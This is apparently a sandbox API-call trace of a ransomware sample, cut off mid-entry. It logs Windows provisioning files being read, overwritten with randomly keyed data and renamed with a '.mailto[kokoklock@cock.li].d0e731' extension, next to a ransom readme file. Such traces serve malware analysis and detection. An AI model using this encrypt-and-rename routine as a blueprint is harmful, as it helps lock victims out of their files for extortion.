[0087.546] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.547] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.547] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.547] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.547] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3477c38) returned 1 [0087.547] RtlExitUserThread (Status=0x1) Thread: id = 1366 os_tid = 0x1180 [0087.548] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml")) returned 0x20 [0087.548] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.548] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.549] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f7bfa38 | out: lpFileSize=0x2f7bfa38*=649) returned 1 [0087.549] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x285, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.549] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f7bfa0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f7bfa08, lpOverlapped=0x0 | out: lpBuffer=0x2f7bfa0c*, lpNumberOfBytesRead=0x2f7bfa08*=0x4, lpOverlapped=0x0) returned 1 [0087.550] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc3b8 [0087.550] NtQuerySystemTime (in: CurrentTime=0x2f7bf9e4 | out: CurrentTime=0x2f7bf9e4*=132121176454382790) returned 0x0 [0087.550] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x9dc8cc4e [0087.550] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xcc78fa75 [0087.550] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xf3e510f6 [0087.550] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x94cfd43b [0087.550] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x5e9bb2f4 [0087.550] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xbda3a128 [0087.550] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x838f8dd4 [0087.550] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x9f482702 [0087.550] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x48475af2 [0087.550] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xb245bd8e [0087.550] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xae635793 [0087.550] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xd0f0baed [0087.550] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xfae1e1f6 [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xafa977bd [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xc221bd34 [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x803f50ea [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x4c2adfe5 [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xd3181b3d [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xb2e0f23f [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x87de0cf0 [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x99b5c813 [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x1bbe0443 [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xe3bba8a8 [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x3c8104e2 [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xeb64fc04 [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xff9b1bc0 [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xc177e3e0 [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xa52b12b4 [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x83230e4e [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0xcd73fc7d [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x6d5d12c7 [0087.551] RtlRandom (in: Seed=0x2f7bf9f0 | out: Seed=0x2f7bf9f0) returned 0x7887abc3 [0087.562] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x289, lpNumberOfBytesRead=0x2f7bf9e4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f7bf9e4*=0x289, lpOverlapped=0x0) returned 1 [0087.562] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f7bf9ac | out: lpNewFilePointer=0x0) returned 1 [0087.562] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x289, lpNumberOfBytesWritten=0x2f7bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f7bf9e0*=0x289, lpOverlapped=0x0) returned 1 [0087.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc408 [0087.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc408) returned 1 [0087.562] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f7bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x55dc340*, lpNumberOfBytesWritten=0x2f7bf9dc*=0x20, lpOverlapped=0x0) returned 1 [0087.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc340) returned 1 [0087.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.562] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc3e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f7bfa08, lpOverlapped=0x0 | out: lpBuffer=0x55dc3e0*, lpNumberOfBytesWritten=0x2f7bfa08*=0x8, lpOverlapped=0x0) returned 1 [0087.562] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f7bfa20*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f7bfa08, lpOverlapped=0x0 | out: lpBuffer=0x2f7bfa20*, lpNumberOfBytesWritten=0x2f7bfa08*=0x4, lpOverlapped=0x0) returned 1 [0087.562] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f7bfa08, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f7bfa08*=0x4, lpOverlapped=0x0) returned 1 [0087.563] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f7bfa08, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f7bfa08*=0x6c, lpOverlapped=0x0) returned 1 [0087.563] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f7bfa08, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f7bfa08*=0x20, lpOverlapped=0x0) returned 1 [0087.563] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f7bfa08, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f7bfa08*=0x4, lpOverlapped=0x0) returned 1 [0087.563] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.563] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.563] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc3e0) returned 1 [0087.563] CloseHandle (hObject=0x3d0) returned 1 [0087.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x33fc9c8 [0087.563] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" [0087.563] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.563] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.564] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.564] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.564] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.564] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.564] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.564] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.564] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.564] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.564] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478530) returned 1 [0087.565] RtlExitUserThread (Status=0x1) Thread: id = 1367 os_tid = 0x1198 [0087.566] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.566] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.566] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.566] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f83f978 | out: lpFileSize=0x2f83f978*=642) returned 1 [0087.566] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x27e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.566] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f83f94c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f83f948, lpOverlapped=0x0 | out: lpBuffer=0x2f83f94c*, lpNumberOfBytesRead=0x2f83f948*=0x4, lpOverlapped=0x0) returned 1 [0087.568] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc3e0 [0087.568] NtQuerySystemTime (in: CurrentTime=0x2f83f924 | out: CurrentTime=0x2f83f924*=132121176454538547) returned 0x0 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x79659306 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x83ff932e [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x2a9bb101 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xaf5cc22 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x26529dc4 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x9f8475d1 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x4ed02b7 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x6e3f4c07 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x7e39d595 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x7d7eeac7 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x939cdd8e [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xfd305781 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xd0134109 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x9c9121f9 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xb977d29c [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x29350ddf [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x1c5f0eb7 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xa61843f6 [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xf8630d3a [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xa152fbad [0087.568] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x9feebc4b [0087.569] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x59c99b07 [0087.569] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xd95ce768 [0087.569] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x8aade248 [0087.569] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x16501f9f [0087.569] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xf6075ace [0087.569] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xad20a1ee [0087.569] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xb8f826da [0087.569] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xfc6c50dd [0087.569] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0x6090a43a [0087.569] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xd15f8f72 [0087.569] RtlRandom (in: Seed=0x2f83f930 | out: Seed=0x2f83f930) returned 0xac25adb [0087.579] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x2f83f924, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f83f924*=0x282, lpOverlapped=0x0) returned 1 [0087.579] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f83f8ec | out: lpNewFilePointer=0x0) returned 1 [0087.579] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x282, lpNumberOfBytesWritten=0x2f83f920, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f83f920*=0x282, lpOverlapped=0x0) returned 1 [0087.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.580] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f83f91c, lpOverlapped=0x0 | out: lpBuffer=0x55dc340*, lpNumberOfBytesWritten=0x2f83f91c*=0x20, lpOverlapped=0x0) returned 1 [0087.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc340) returned 1 [0087.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.580] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f83f948, lpOverlapped=0x0 | out: lpBuffer=0x55dc408*, lpNumberOfBytesWritten=0x2f83f948*=0x8, lpOverlapped=0x0) returned 1 [0087.580] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f83f960*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f83f948, lpOverlapped=0x0 | out: lpBuffer=0x2f83f960*, lpNumberOfBytesWritten=0x2f83f948*=0x4, lpOverlapped=0x0) returned 1 [0087.580] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f83f948, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f83f948*=0x4, lpOverlapped=0x0) returned 1 [0087.580] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f83f948, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f83f948*=0x6c, lpOverlapped=0x0) returned 1 [0087.580] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f83f948, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f83f948*=0x20, lpOverlapped=0x0) returned 1 [0087.580] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f83f948, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f83f948*=0x4, lpOverlapped=0x0) returned 1 [0087.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc408) returned 1 [0087.581] CloseHandle (hObject=0x3d0) returned 1 [0087.581] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18a) returned 0x33fc9c8 [0087.581] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0087.581] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All 